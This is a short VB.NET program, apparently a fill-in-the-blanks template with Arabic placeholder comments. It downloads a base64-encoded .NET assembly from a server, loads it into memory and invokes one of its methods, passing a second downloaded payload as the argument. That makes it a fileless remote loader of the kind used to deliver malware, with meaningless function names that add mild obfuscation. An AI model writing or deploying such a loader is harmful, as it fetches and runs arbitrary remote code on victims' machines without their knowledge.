Module Module1
    Sub main()
        System.Threading.Thread.GetDomain().Load(ddfff(New Net.WebClient().DownloadString("قيم نقطه الادخال"))).GetType("اسم مشروع الدل.اسم الموديل").InvokeMember("فنكشن", Reflection.BindingFlags.InvokeMethod, dddddddddddd, dddddddddddd, New Object() {ddfff(New Net.WebClient().DownloadString("قيم السيرفر"))})

    End Sub
    Public Function dddddddddddd()
        Dim h = Nothing
        Return h

    End Function
    Public Function ddfff(h As String) As Byte()
        Dim m = Convert.FromBase64String(h)
        Return m
    End Function

End Module